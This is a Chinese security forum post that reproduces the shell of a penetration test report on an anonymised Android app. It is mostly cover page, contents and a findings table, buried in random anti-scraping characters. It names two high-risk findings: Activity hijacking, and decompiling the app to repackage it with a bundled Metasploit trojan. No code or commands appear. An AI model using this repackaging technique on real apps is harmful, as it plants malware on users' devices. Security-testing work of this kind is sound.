找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4725|回复: 0
打印 上一主题 下一主题

原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2022-6-8 20:32:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
, h" B$ ] ~+ y* a2 t& h4 n. b0 @$ n4 y# A$ H

2 D5 _) c O( g9 m# P 9 ^* C |; o6 C! g( R5 k
! G: @% Z( b; B* _7 K( E2 M3 T2 S+ d5 ?/ g1 v+ E

S% }' {4 j# O5 S6 [ 0 }+ t2 i6 _) R
" x$ P: g$ h% C3 b' ]% t% H; ^2 K - \- M* U6 Z/ C' p8 N6 i

. L' p6 o' y9 o 5 N) w5 a# H Y+ Z e0 Q, A 文档编号:                5 `$ h- ]4 x, \# _& U* [! ` 1 L, V8 @1 ~; B. _. e

" [" n/ u+ m$ z- J5 z# Q ! }5 ?" Z$ s! ?5 C

& \* E2 E% l( X! q$ k. |; Y9 W 2 @2 R. v7 g: r& E4 [' m: v) t- x   ) n# @8 S- T9 z, d$ C9 v/ b # M( s7 Y/ Z' X5 ]; }3 U/ g' k

9 p7 @& O) S4 S ) f3 m* L/ _. _6 R; U

" D) X, L* p" b5 V5 ~! T: r 9 I8 i" r, e( g( e- @! w( [: J; u, h   6 E/ f! s% W, G, t! t, M5 w$ Y4 U+ U3 w

6 o! ^5 e; ~$ ?: y) p, j4 @ [ 5 }- C) k& L. S

5 [* x$ B9 o5 S ' } Y# T: h2 s& L' Q# A- u5 T   + { W9 x+ d9 d; b7 R 8 j& i5 A7 t) m

! L. W8 y7 l6 @+ n6 h+ p j8 b, x% {# g c" W ^) X# M% O

+ q1 D2 k5 m" l, w& F $ B2 z. s, _( q9 {1 s+ W: e   Z) l/ l8 o- M$ \ 2 V9 x# K; ? r- ?

; P6 g& K0 R5 W. o$ N1 r6 C7 w( L ) v% S5 T/ Z% R$ g+ t! D/ E

2 |( V: P7 U" ^/ k. O& l; j" U8 t   ! p: ?) p3 E# q5 @$ ~# B + E% W0 x% T$ ?, @& J' F

# n Y% U* u- t ( U( I$ b7 ?1 U* l

4 q z/ z+ k* M1 g2 Q % L: C) s, X9 k( x' [, U 某某某APP渗透测试 $ v/ l, ?( h4 w$ | , F! z$ B9 s, Y& @ D6 y1 c

8 D( N! ?: l7 {. c$ Q* D. r 2 Y. I# W7 Q6 ]5 o

8 P$ L/ c# L& @ % I( N" ~9 A6 w3 I9 _' z; M; v% n   3 @$ \, _: l. c! t, C+ ]' P 3 {- v+ ]9 \6 F% N, N, h5 x

/ p0 o W) D% L: |# ` # _1 U$ x( m+ S4 g% l f

* u- M+ c# J( Z9 P! e! c" V9 Z) f ]" ~. N+ S; X8 m* ~8 l   6 S9 z# l; i% a1 ] ' ]1 R5 m2 X$ |# H7 h/ }( `

$ P( Q9 U6 Z% d" y( o. l4 U v" \2 X+ w: N5 L% i. ]2 `

( K Y* o$ R% c% g , L3 \ U) @& ]7 |! f' P) k   + ~% \5 G6 A5 N. j6 D7 v " s- V4 F+ U# K i( R; ^

: w8 K l3 _+ t6 D' I. y9 z. Y8 f, n$ P' O6 V. T. A/ ^; N

) s! V& N" I4 v 8 m" f( H% _4 ^$ u1 |   5 D# G5 A+ K K" z: S; O+ {8 G; D% v+ e$ F/ e! F" j- o

- V% G6 ?. x- ~7 F. D3 P3 _ ) ]3 {. Z' n2 P w# l- W; f1 `: P

* `) [6 Q' i+ m/ {+ h9 R/ a) ]0 {8 g6 ~9 J 技 术 报 告 5 y' \0 f% V9 j, O+ }) L7 T n/ p9 G) E& w9 A6 d

. o P5 I8 v1 X% Z # T0 A! Y% Q2 r. a. h

. W- p$ H1 T* F' e8 L! I9 q8 f8 F2 M9 D) Z' b) d   6 s. h1 |2 r* U8 D 2 ^6 i0 q' n2 s# X" h2 H# G

% [0 R6 v: Z" ^: }3 f+ a* B + q' w& @3 ^* H8 Q; S, G! b

- f: Y) I. k8 j1 M" O/ @' @( c6 L - P9 z) H$ S' [" ]& s2 f   , K- |/ y! Y1 r6 ?7 h+ ] 8 \4 S- ~1 ~( }

7 \/ X$ t, ^' V# F3 H5 f * |( @+ u' `1 G

9 u5 d0 J+ Y5 T- G2 q$ @/ i3 C2 T: z 9 b$ m% k9 q6 P) K   # I% G" _/ h3 P. l) K , x6 C: L" Z: K

- _, E0 O3 |! J# ~ : f( ^$ G* ?2 p" x

4 } c* @4 W0 V' Z1 O) v) I/ c' @8 M   ; C* ?# Y' n$ q$ |& _ 3 p. T4 ]' _/ i) N. ~# Q

9 M% R& a+ W7 J% S$ e V3 M& W/ l# {3 m+ z2 u; I# r

& d/ T' j h& j& q5 T" R! F. ^5 S/ q ( D6 ?. H8 A) ^) A0 H# H- t   ) `' y( r1 A: }7 C* k% b + `; T( g9 z- o" I- a N7 A

3 s/ J7 O1 ]1 b$ n( k, Z3 S8 N8 u2 m7 O& F' U @- P

$ [3 a% b$ M7 d S% Q' |! z9 g2 S   " m7 O( v- m" ?8 ? 8 f' F1 S) E! `

/ y L0 o0 b) a v0 j ^. z P7 M, J- R- m( u! a, k0 {

) P6 s/ L. @4 d" r" P' A' ` X# L 2 ~( Z+ Y) h% j2 v6 q   . X7 h2 G: N1 f, _( C5 K5 t. M. i* Y + s$ d3 _% J& h

9 R" X/ v8 V, C8 J; `! h % C g7 q* _ L1 [

6 `4 @- V u2 I D' O 3 b% t) L+ W5 V j. H   " \6 [. p \* y& A; I# \2 ?% w" n 1 _/ _' s! E$ M7 c0 s# a

- I& D* I) j/ V8 a! }' }5 z6 {$ v9 v4 ^% F

9 J, u5 f6 Y1 x' A6 r/ [ t$ |; m: {2 ]* Z5 M Y" b3 t   5 m7 {# `. M' G( k , U1 l7 \+ c; D

8 z. B z/ V) u* U" F% I + C5 ~3 Y$ V. N

: x/ a4 g& H; P6 \/ w7 M9 U. v% R: r& X8 e   7 J- y& y) @" f Y7 e3 V6 z8 ]7 ?2 Y3 K. z7 u! G: d

/ l1 s K7 Q/ `6 N4 n& K& @ 8 `. v% c; r4 M

3 w% ]/ O8 | a( R- }) v 1 R0 S) h! N2 e$ f* V9 Z7 D& L   2 z9 \ C' G4 Y% h 7 e2 m0 ^( \+ v) J: V

6 Z9 x7 |" v* z4 u5 `+ R 1 M3 C, c) f! Z2 L

! V1 b3 x% h! S . z' I$ r3 b; ?; N6 ~0 A1 K2 R( E" \/ \   $ q0 \/ S# j& G0 N" Q; x! ^9 C$ T5 V1 e8 c

" q. h z! V8 n9 S; g8 A6 ~! P X

# c+ j# ^0 Y! b) W1 G$ h ( z, k5 i- B' ]   . H1 |% j4 W8 g" N9 _' q1 R) S$ |7 @ f5 I; D/ w6 {& S

, e- d: ?9 [; k L! ~8 s * F/ H. ^9 t. U2 _3 p

2 V7 X; q; b: E% X7 ?) ^( h 2 P s/ a+ o5 y% x$ _$ s8 c$ q8 S   ! Q2 S5 ~$ F: E( ^; `5 K ! H* K) e, H+ W

) U% W3 }9 F b) R5 { 6 U/ V7 d9 W } f# X! n/ h

3 L$ G1 A, O) p+ X ! ?( V% V* H+ {: Q, E+ @- `/ i   - r! ^& ?2 t) d T$ ^4 I+ }; N- y2 Q {# y

& V# Q0 \* T5 o, F' Y$ [ ; k/ j1 T) q" ~ E; g- M0 X- u

- e% C8 ?0 f* h) p; ` / F4 w3 E3 Q6 u: u Z' k   % X- C; O( b( X- k0 _" G " R0 n# P O: V: Z

4 c/ P+ v: r2 ?6 A & L/ j. H, W" _% _

! P6 |+ f, t* V; [0 o! B4 @ " p _, I/ F% M. w+ |   R8 f4 a7 Z \5 V7 ` 1 n) H# P: n; a- z

5 S; J- o: [& V' a: p8 t- J: q. g- l" \' J

' ]1 p) w$ v! v/ X* n- b8 d; r& s" u9 K$ e$ |% K   $ Z ]" v0 a6 P ' k& @, }# p- L6 U

4 }/ v. |8 _$ a% S. F0 ?( D/ E' k- N, f. G

$ C" J# c% I5 E# w( ` & Z- u4 o: v! C 二〇二〇年 4 \; o; d8 @' p3 L. X 8 `1 v0 Y( x. w4 J

. w0 ]0 o9 Z ]% j- t8 \ ) X- p% M3 t+ a. {- }
) g! ?- s% P2 A2 B1 s6 r7 w7 t, X , a' y, R6 r6 X2 Y
! U0 k, u3 v% D/ a 1 O; `& N+ H& E' G9 O+ |
- R/ E% u& a( ^ x9 a& x% z5 V2 J/ n$ x! o% e W$ \
* P% v; w" K j3 o* K: i. c5 R0 ]6 q P" N7 I. s0 k: J
. P/ }6 G6 z' e3 R! w6 {/ Q" `' I% O4 c" W6 [( M# g; N+ B
6 W) M3 h0 q$ ?, `, F" T7 ?" O ! _& w3 A5 q; f: p& d8 [3 [
# o$ K. }5 }( U O : J/ ` X" b. G) L
/ Q' E( l$ i% ^+ F; ?6 X 9 s! C- t( U% s% j- r+ s# R

2 h$ I% x I! c" f6 g1 q! V - s4 r% j5 R" V0 t. p& R7 S* V0 @ 目 录 / o( |; ]3 X; f) P$ ^' g ! s4 d. j1 S3 b; e7 A/ s, B$ `6 H

5 p) I! w5 Q( ?# Q1 ~/ m " \$ ~$ Y4 c+ r- _( r 2 o" {! ~/ W; Q. I) B, g 8 k# P2 a' P# ], \7 v5 r

) R' M6 ]' P8 b! N% ` P1 v2 i" Y* r' \9 F( \; D   - F- D0 V- g( @3 e # C/ _ c5 q+ X) I% b

2 _1 x/ C; ?4 m8 F7 R; _6 Z & P0 t4 ]% v. \% S# l0 [

' z5 E. Q8 t* O+ V( y% Q+ o0 L1 K' o7 {, S7 s4 g/ P( \ 1 概述... 3 2 @; s7 M1 Q+ H6 S- O; |: s5 Z 1 ]2 h7 o7 G/ m# q7 ]8 i

t: q$ u4 {- _" K) B6 F3 H 4 t/ C1 [8 R S& z7 h4 T5 Y, A0 A

1 E! b; M1 p% ], p8 F5 _8 ]. k$ O! y6 p) e 1.2测试时间... 3 . F$ O9 r# n$ ~$ {" j" E 0 G9 v1 @& R q. p

" x4 R/ {& i* D/ ` p _& ]; t. ^3 s% h- J- D6 A- j

8 Q5 t3 H. W6 v0 F7 a0 X - @ d6 r# H, Q. u6 I# |& I 1.3测试对象... 3 s" u( W' V) p) f6 S& k/ H3 \& e, O. ]# d+ P9 z

% B7 Y0 c8 Q9 f: L% J& O: z 2 T5 E( V" O2 a! k2 {

$ ?' C; |( h$ G2 ~. M$ Q, d, _ + D! _( ?- Q- h8 T# j/ m3 I 1.4测试结果... 3 % v+ N. ?- s! L0 n ( x2 L7 d R/ n1 c. w" \" ]- v

$ b% z# k& N+ C ' }4 q: E* r! a2 J! T- E5 x

! L# d8 J" U* h' h$ f l ' T; \5 d: h4 o9 y8 n+ d$ C 2 检测结果... 4 1 g1 P7 P. I; ]9 N$ g& C2 A # s0 A1 K' M% O0 w1 F5 F) ~

4 Q9 q1 _; A6 f9 f- |' v; H) G ) ~2 l8 e+ y4 m8 x9 C( r* E

) i, p5 S y8 V8 | 9 n, ?9 H3 }& m 2.1 某某某... 4 , ], A8 V6 D; L$ |# L" u+ L ! g0 w& O) ^9 c

$ w' j, _ e" n) N, v# V5 s 6 ^; i$ r. j% Z9 ^3 m- e" E

. x: l4 k: A. K6 E0 T# ^ ( L$ i- {9 y4 q! B0 n 2.1.1检测目标... 4 ) w7 J. E2 A; Y( x- n1 y R5 V8 K" H/ @9 W1 b# [" t$ ^ j* V

) f5 ?2 | t$ Q6 W0 B' J$ v- z ) U( R; t. u3 w

1 g- Q4 o9 n7 b7 v2 n% e2 E# U 2.1.2检测结果... 4 $ g% a" m+ D* F) ]1 y 2 x: H. }0 S) W* D2 x

i0 I( ?: Z Q( l# I3 r 1 G2 ^; g" v& l' M! o

8 Q( Y6 R3 A8 P" L S$ ^$ @' \$ E$ }$ q 2.1.2.1. 4 8 w4 P6 {$ c$ d/ r! a 5 V1 f" l% t# L% j' M6 m$ X

: p; h4 p- a9 l * A! K5 j2 U2 l, j; c8 ]2 A0 j- h

) v% o1 N ^6 B' `( C9 } 6 Y* \- }: P; x) o: `, O& Y% Y 2.1.2.2. 6 ; {7 d' w5 T+ l9 v5 @; x% d & I$ J* u& v3 l( w( @" u1 L( k

# H8 W0 N9 [7 W% d & E- f# a5 f$ p5 |- f

" k) ^" N% W! Q# X( C$ _$ j, n$ i; M, B1 Y . M9 U/ l: Q$ d4 ~% D- C' \/ E- f . g8 z( ~; r% r

0 r- n9 I7 Y" |9 Q& R( V ], a2 F7 R6 O" y% a- ?. C
1 l& E4 _$ g% h; P3 F3 ^' G5 E; `2 G2 [/ o
8 F w/ o+ Z0 |; q# G: v 8 |0 S3 K6 v; p
- n, F5 q# Q: Y; p& ^* K$ _1 d 8 D, v# |- T3 P8 F- n5 I' q6 g
- a, x! B9 G i; t, d2 D$ m3 J# l

- S) |; o3 P! T; i + N: M3 K8 P' U7 T1 s+ ~) D: Y$ F 1 概述 8 ~# G/ ^2 J0 ^; [& _, r- w: u6 W7 f9 T C7 @% x, q

# c c( ?% J! ?$ { 8 b5 ~ h9 E! r2 x

+ M/ I& G4 l8 F* @3 R# s, L' w! ?/ y& t 1.2测试时间 ) R" |' }6 c) _& p3 S& m- k g/ k 3 U4 Q; g, d! I7 {. L" f6 g

" J8 G" b9 \4 n8 U6 P9 h/ N( P# ] : p1 }# G9 f) {4 f+ |1 h' N8 s. ?$ j# y! U! b* `8 R# H C! A% w" f# `3 |$ G7 k2 q1 [% O* G9 }/ V8 w, r N' c8 G, {# W3 t2 d! g1 L1 U: \9 S+ |; j7 m' U4 K: `' q) d+ t6 c: \/ ^) e. V- |1 b4 S: K$ Z$ a% o; g: \- p8 A" d* j9 a) C) c, m" g( }7 x! u& O; S& {; R r. J& R; w n4 Z) c! a t, [$ l4 t3 u2 k( V$ d5 q b: o- T) V/ g/ u3 p9 s! D7 p! n k: O# f. K3 V9 J, I! E9 g9 w) M. n% B, C" A5 G+ D& k. T* m5 e9 ^. V$ M W; J' W. X$ F& `4 R4 b2 S3 Y$ Y5 r: x! M. T8 X4 e0 p& {1 D+ I9 S" s8 f0 n1 o. o; w* y. B" ^( X S% Y9 ^% r* J" `1 B/ _1 `$ j( ]/ E" B- A# d5 r6 W# L$ t# s) t. k0 J) `% I) d2 k' a% c7 Q1 t% E& |3 [) B5 P( ]8 Y' X. k1 ~; }+ {. f' n& Z9 `! a" F% _* _* F1 v( C
& W* A! i- C& H* n% ?3 A7 e1 @ c n8 u3 j1 D/ q: m9 \) a: U+ F

4 J, h# i6 r( W6 a6 p- b- l" ? 1 y' w2 P1 S) [3 ^8 Y* T 渗透测试时间 7 v) n4 r$ A# J- c. P: F8 |% U 5 W0 c: @, p3 c( i$ y6 p) n/ G; o

) ]% a3 z' L$ q* k: W# S ( {7 I8 _* Z. L3 b
+ g* l' n2 n/ O$ S ( }" Q% j) R; ]

2 q7 ?% T: K8 J$ m - {1 }# j, E8 K) ^ 起始时间 : {7 u9 W" i! c- @ ) l! x& S% z3 o& |; G1 N$ j# N

H5 k1 S. ]' ^) T/ U$ W6 Q$ g$ P" |6 ^! _, n
% i& x5 Q* \% f0 u8 q3 t0 N! ` ) |# P) B4 m* M K, C2 V

" @, Q, k3 z) p) n7 X * |/ ?( z7 E- y 2020年4月6日 - v& x& v) w+ H4 D 6 i5 x0 z, b8 j. q8 m

; y8 d' ~& J5 A7 v& R : b! i& D- N% b) R6 z L" q
0 `3 U( d$ A9 O4 o x1 P 9 y) F: I2 e; G9 `

( E" i9 A& d1 R- b$ c7 D7 b$ O. e6 i& \ 结束时间 # p9 e: G2 n5 ?8 U2 W1 H / O" S1 |$ X( J% @& h; p

. f5 O- \# I) z4 S( X J- m) x8 d9 s( E8 r+ E
) M3 O5 l. s5 R: o I 5 C. L* ?" ]" @

4 P+ ?; ^9 T% M5 d3 A9 p; { $ v7 I" v6 j0 W$ l+ S 2020年4月9日 / ?5 [% J( Z9 R$ s+ _7 O6 L0 V# B) h7 F& C" a

8 d6 \ {8 w1 f) u: U( o 1 g% W) j) Y1 P. Z2 i% }
9 z: ?4 D9 d; F7 G+ D1 E3 u 1 l! C+ [+ d% o% V4 s" Q. N4 Y8 u+ R* z

* [) ~, D0 I/ }( H; p- x 1 h) \: k6 i. f7 z* T 1.3测试对象 : d3 g$ D. Z) Q8 l' P7 B/ X $ T! c5 A# B* W8 t6 }1 i/ [8 B* W

2 O3 T$ t, A! j* A7 C( j) g+ t - n, E6 j" C, \2 z, P3 X

$ O: Q, `5 a. A+ V L; v" ?5 y( s! s' c5 h6 c N: ?1 S 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: % H: [5 u" N# x& G+ d ) G$ H I7 |: V# ?5 S# `

- c; ~9 ~7 Q+ F5 k ( [, i' U) i# P" K$ u

0 _" w+ |/ q; `" {4 Q1 ` 7 b/ h: a F) j: N 表1-1 检测对象 , u" G( P& t( m& m- q7 _ 3 t7 d2 V( }0 }, I. m" P3 Z- R

. j9 Z4 O1 C# F$ h) j5 v# u- O& A; p2 j" O * C( B/ p, i, Y' s% p$ `2 B6 j' j, S) ?% s/ b3 j) a% b# s8 b4 F& F9 R, K+ i) \6 k# q, T I( |% n6 Q/ h1 L& z( [7 W' x; g, Q1 b0 _9 ]' o' E" x1 z5 \" z8 A/ }4 K9 p. F" \" q/ u S- A2 S+ a( x" o- N1 z. ]; E+ h- T8 V5 B3 y4 u) }/ {, O5 r* p$ [- p8 s! Q. T: E' C7 W1 }' ^( Y( c% K" [' q; C$ E+ `0 H& G, x1 J3 m) r7 [7 f9 [4 F% y l3 V: v! n. |+ D2 E7 ?8 q& z! {! b9 X7 d) X& @! _$ n! F9 [3 F5 l" A Q4 G& [! Q+ N8 N; E+ Q6 c$ e. g$ p7 F$ G6 h/ Y0 G6 n3 E0 c1 s+ u3 T8 O8 Q' O8 Y2 n5 h5 f: n" f. K; _2 }+ r& p- ~3 X+ y( t2 n1 s) X7 ~, H/ }5 J% o' e. D# }, F$ t% p9 e7 H. Q0 w+ e/ {8 E. G) d1 Y* ]" X9 n0 o, C; i3 C, |9 K, s6 ^8 m1 v5 b' r& x1 ?3 i4 e3 X( z. E, N! x k, o' _" O4 y7 h m9 X# M. N4 c& l& q! R2 D+ G8 c
8 P% B) ?7 z. m, v # f4 p+ q B) T) O6 | H4 v

1 a: e1 l# {5 g : V3 g, S n. D3 S5 u 序号 4 O; ]' {2 Y4 m u* t7 d' j( t# Y: | ! G( @" G+ K0 r! R

% |; Q. C9 }+ w6 K3 r* n- u- g ; j/ y% K% Q5 _, Q6 R7 m
* F+ C3 j( k2 k; e% C 6 C6 K9 v4 s$ R. r% I, @! R. ^# z1 u

v& b+ ]; G; k5 l ! U! s5 _9 @) s3 c 测试对象 & K: v7 s- I2 |! S) v1 v1 r9 o `' k, d: [# o

' w8 u/ H+ u& c" x& T * {( o% m7 ~6 x( ?& _! T
2 b8 G* _2 f3 E% L" `7 l$ u- r8 U: d3 [" X& Y0 o( A g& o

. D$ } J+ g9 ]2 p& ?1 v! u# k% ^( ]5 q: E5 M. J1 E/ n 测试地址 5 L1 g) ]1 e. R# x 0 d' S( h. p9 d) @4 j

' _, n! K* m0 ^ - K% s( Y- r3 W) U
% ^ Z9 G; F" J6 M " z: A; K8 {. c2 Z# v, w8 }

% {8 u4 U1 }5 J5 p! Z ! c: p% c q5 ^- S2 D0 m I 安全漏洞 - h# v. T" }. q ( l& D: R, j$ B1 ^- D/ u* G, C* }

6 Q9 r8 s# ~& X3 M2 O; a, b 2 R6 w$ [0 B" c+ v- j. i* Q
1 }. F% T p/ ]0 Q - |7 y/ Q1 c1 R( \

+ x1 j* w4 g2 ~( {5 } ) \% j( K4 ?: L" K 1 . i$ H5 ]2 B; ~6 `! x1 G: I ( b) n* v$ T( @4 @

7 {' m* F* j! L) i W % m) W- n, Z; G5 j
* V3 R- G2 J P 9 p: C+ q% O( l# r

1 }5 e4 Y6 ?+ r- y: `& M $ M R7 _& A } G# ^8 ~" B) r. w 某某某安卓APP 1 D8 z: a6 o- i* ^/ W5 \ 0 ~0 b# [' n4 ~& h

% ~, u9 x: R( h: ]8 L$ Z; V; m , }! v2 f0 v7 v/ p4 Z3 n
" w" h9 j: H. N5 c- t3 h: T" N/ Y4 y1 x0 ^ @

& K6 x- ?* d% t* I C( u9 v5 W. S! }# H) K   , k+ D# C2 |: Z/ [% h2 \6 } 2 n |/ k4 M' ?6 a0 B

( O+ s% J/ ^2 p/ i6 I. D4 ]. ]# d( c" N+ H7 J8 p7 O2 h$ h
+ k2 R" o! B3 U; B: H8 |: o 1 L& K2 S* H6 S5 a8 i) ^- @& h

* H; P" u* H$ U( i 9 s" D ~0 j* [, k. _ g+ f 2 % W2 v$ ]5 y8 W, H t6 Y, r. ?$ k/ I- ?; Z! C

$ s4 i" B$ V1 `: j0 p 5 M3 m! y& L! Z+ v) F8 X8 {7 {- W
' H8 ^' |; a5 q" u% m( L # q3 K+ X. S% i/ H! [/ @5 \' O

; i: c; W' N, G: R- j + T' f# Z# w6 d2 W; _ 1.4测试结果 - w* ]. y# l$ X( C8 f; h2 V) h1 p / z3 i# J. B7 J$ @- @

8 ~: L" k3 I1 t3 A/ e `7 b2 ^ ! u5 Y; R' L5 n) d4 S: ^: u1 t

1 X" c4 Z' m/ t2 H$ \/ Q+ v7 I ^2 H % E! P9 W7 L q0 p 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: ( C/ e+ D/ j2 B3 ? + C9 Y5 U$ a1 T! O# u

' Y1 y& s" E1 ^: }- s' f2 F2 I* @

+ L0 j# E6 o+ N : ]9 Y' g' D3 y6 u9 A/ m1 K   % o! l% r* S4 y, Y: B 9 [- p1 V' g A5 ^1 ~. e* p

. K+ J' v4 Z% H* d3 j e: G- L7 M& _2 F J
) ?8 c0 S& M/ o c: [8 H, x $ D6 K* w$ d$ m+ q- z * W& h5 x% b; @ K( f5 B+ l. T) c! P1 e$ e5 ]0 V: E; D5 f3 @7 C5 G% v; _4 s3 R. d0 c g/ q2 f) R Q9 }) _% o9 M& L M1 b% V0 U) U f8 ^( }* K1 |! O0 S5 l) c: N; U, s: V- v; e3 } K; s1 N( K- H9 d* p& j% B! Z* n! K$ K+ ~6 ~9 N6 m: w1 O1 V' `6 T) q, C2 A/ h( {( i- L7 K) E1 {$ _0 R+ F7 K4 T- Q. H; f4 o, L2 N. e q7 `2 l" V+ d; }0 ^7 Z8 H& x3 t+ i0 ^6 V* ]7 Z& }! E. s3 C9 X& d$ {8 _0 b0 t4 H9 W- T0 _9 X4 e. x9 o4 M. c1 |* x# i' X2 T. ~; I! y/ l* q$ l; f! v! P7 }) o. D' H" K' B. G9 {/ P1 H9 x4 C6 A3 U% ]* h& e# @$ c+ g* e2 B( Z! @# b" r; p3 | ?. P7 e" k/ _7 G3 j* `# q0 x; l( j% ~6 Q6 s1 e, }2 H5 O) b, [+ u$ ]8 C" }% D) D* ]; \2 d9 X, v* c+ X, V, I) x5 e, X, G: z6 c" ^/ o" C& ]0 X5 N4 R+ ^& b/ ?2 Z$ o) x" M8 v9 h7 Q: a) H) Z* P( o# t- f% G K: T5 x' m7 `! M4 r. n( k) u" l* A- k% _0 d0 p& }$ D) J6 c; z2 F9 N* v. ~0 }! G. O$ z& a. U2 ]6 O) D/ g) V0 e* N+ G. m6 O) z8 B7 T& x! D6 ~: y" ^# _* Y: a6 F3 q* v0 L3 U% | u1 Q, |7 B y9 y1 ]( d# W1 R# K$ g7 p. ^: ]6 D5 |' v s2 C. o/ ~3 U& E- s# |. `& R9 l" h/ p# j+ Q) G) s' B" x" B& P7 T1 u+ ~" M5 s7 I$ b v4 _- x8 w! {& q& a/ @; H
; d/ }( R1 o4 B8 s / y/ l* c$ ~2 Q9 D/ [: u$ ]

% Z8 { [" S, S4 F: g+ s t) Q: A4 }) `6 V: g6 i9 R0 k 序号 % x- K, ?# Y& _& N' ` L0 ` / l7 ?2 D* O$ U% R

5 o) }# j% C5 G5 K2 u! M! z r7 U& P/ {+ H, H" D/ {+ k
+ A) f* P0 P' N/ {; R U4 y 1 Y. G( i, p K2 V! `, ^9 B* `; l+ j

6 J3 P" P* ?' \6 v' X% q; W( V1 t8 e, i, D* [9 n/ v 系统名称 + M# R& [ A2 C! |, b% S9 k9 |! x% X 7 `6 ^3 J. Y0 [# e8 M

( P. b) G+ Z( h3 ^) {3 C7 w. b: @7 x9 Q% s* h7 V* s; B( f
: @0 W1 v4 n1 l" x/ I. \* z" }5 {6 [' b7 B# f

" e6 a1 w+ g7 ~& I: y1 S7 K/ l4 Y- p) d- q 漏洞名称 5 ~) k+ n& ^ b' w! |7 N+ G8 K6 ^+ m" M. V; |, Y4 d

; c P" B6 C' V( @" B: d0 o$ x* \ y* X' T6 r$ `
4 g/ h# x% u) m( u: z* u - d5 O1 i3 u( q2 ^& ]

( b; A+ s4 L2 Y# g- A" w% @$ k5 l2 {: G: J 漏洞危害 ' q8 X! e& G0 A ' f0 A# j6 p$ a; Q0 X6 X2 ^9 ?

) e5 s. ^- e H5 n ~ ' |/ n" _# d! S9 v$ K
! R) a8 Y# O% E7 C ! E0 O& N5 u" Q0 ~2 J- w h

" Z% O7 W. z. h, P- o- ^+ a1 o& r ! X( ?, Z7 h' B1 g& B6 K 修复结果 9 X# L5 }- \ u& F: [6 d3 ] ' Q$ Y' G9 g$ W5 Z* V

7 A3 \5 x$ h2 C! n! A 6 W0 ?3 y3 K0 t' n0 a: d6 g6 S
" d6 {2 C7 { D# @) {( c 5 a1 I. q+ s% G% b

& W, j. u9 c3 R. C1 ?. S( N; H( e# U3 |3 K% e* Q" n; \- C 1 / E! z5 n; O {" n$ d3 E . y! h+ n. Z D' { \

) \' s% j {6 D9 I6 v " E+ O2 k7 P r) x
# h, ~1 z" ~' T) s4 K' w6 ^1 f( ~ * ^7 x6 E1 d8 t* M7 k9 d B

$ d3 F3 u+ V9 h. T% ?8 ?0 L( R" S7 {, u" w: L' e! i) ^ 某某某某某某APP ! U2 m6 u2 a% S5 O/ @ ' H' k1 \$ p7 V$ v

: [) e: D) d- x 6 y2 k8 H- k8 n. z4 T
9 i8 q+ a* s. V D, x" E $ Y4 `* g" \$ F; h# _; _

7 Q0 E: g h' d- e& V' X. e( Q% j 5 ~, b. s% ~6 d( {: ^& M% R* c Activity 劫持 K7 D. s, H+ R) }# m 9 Q0 |$ B( R8 h- ?4 ^4 L7 N t# Y

( U) f& _8 @" }- r0 y; h g) ~ , l3 b& z, t$ H/ Y

( H9 O7 J* T ^5 i! |0 A, {7 N/ y5 q# x $ @4 d \# b. N4 g! J* H- [   + h$ w5 ~3 N/ R) p 4 {- E" G: U8 D* a# c

7 N8 ~4 }0 j- L1 b7 i : H1 Q6 \& j5 N" j. X
) v1 n/ O- P# A2 l6 B, b & ]3 i0 n" T4 f# r2 d% i6 ?7 c

+ o+ h; s: O! P F& e: a2 F# [ v0 y& c1 n 高 5 s* ~( c) _/ T* y ! ?5 c0 w. R3 \

6 h' Z9 ?( h1 t J0 R, `& l6 V8 U+ ~5 q! F
1 f" I+ W: Q z, Z1 V3 ]8 G8 d , k& J( j+ }) b$ ?

- z( a% C4 w2 g; B9 k( }4 O , q# `' {6 D& E, `- F+ C   + }7 z3 K! ^" f* V5 m2 u # g& N x0 @% y& }: g

) ?" u( e$ H, n ( M4 f& s6 U) `* i: D4 G. _
; P; d/ O$ w- G, M. E) V / W. A- k" m' u0 o4 _

( @# B) m( g7 }6 q! v* w/ i* O# q+ {, J$ ] 2 8 g# u9 \ ~/ B* _% Q* b8 D * P N6 B* P% ~8 y

D7 z& T8 K/ G- d , u: k4 K+ m0 e. |9 j
; r; G g3 x: b3 w 1 v0 s1 n1 f5 S

- K% P( h3 ]: O9 o$ ^ r# T* _. ^7 A0 H4 v" @# z* B 某某某某某某APP 0 l. {2 ]) f" ^! z0 v( p- Q9 W# S W! B, t2 B' O( c' F

! V" }0 N% y3 |7 z 4 z* W& \8 t0 T R5 f2 O. P* Q
6 k! u) T8 Z+ O8 r5 ` ) `' d& S' t1 i/ ^% m

. D7 n. {7 \4 J! @ ' W+ n+ ] T5 Z; Q5 R) }9 g; ^6 m 反编译二次打包捆绑木马、篡改APP代码 , P9 b6 S7 M% o) {- X 8 Q5 c3 _" i5 X

' \8 G, J) I5 o% H p9 d1 P " Y2 k8 E* H" J, K' I9 S
4 i, C: i5 E2 X1 X ! q0 O9 p1 ?# U6 z/ G6 a; q

* w) n9 x3 @+ _3 k i) N 0 n7 I/ F; B. v. n0 w 高 ; B, \+ a3 Q5 h, ? ( h; I, c9 K) q1 S( ^' {

0 r0 g2 H {. R# K$ c3 S : X/ j+ t5 X' q+ W
5 }' R* O2 _, q9 w. F' Q# P; I$ b8 J6 r$ B' w

; Y' X& Q' J9 s# K- g " O, z! _% f. _' f n* F5 v! `   9 k8 v+ a7 U. J$ Y, E) ] ( V! ~. L b- {

6 `/ _, C4 Q6 t: J6 ]: C& h ) r3 A2 J- S0 s6 A y
$ }. E1 `7 {- F6 P' ^ }4 p7 {" m0 Q: W M. [- w( p. H
8 K# W+ N: F% F5 N 8 u r8 \% e, @, m$ ]

0 O; ^8 K- W- W7 p, i2 ]6 L& h0 e9 A' [1 f, R; _0 y+ n3 [; ?   ! N1 `( F2 P! A P( V : r0 U+ Y. O# a" \6 A; g( @

) |# Z& _+ w! |- b, ~# C6 f! R" C& p* c! x) s

) L G: v j- v! @$ R6 I, a* |* e) \9 [& p5 m L 表1-2 测试结果 3 E: }7 Q! X7 {. g0 w5 ? $ u5 q8 |% K' e; n3 a

+ q& D( G2 {2 |- ?5 u0 k+ ]1 b' b( ]$ o' |3 x0 A

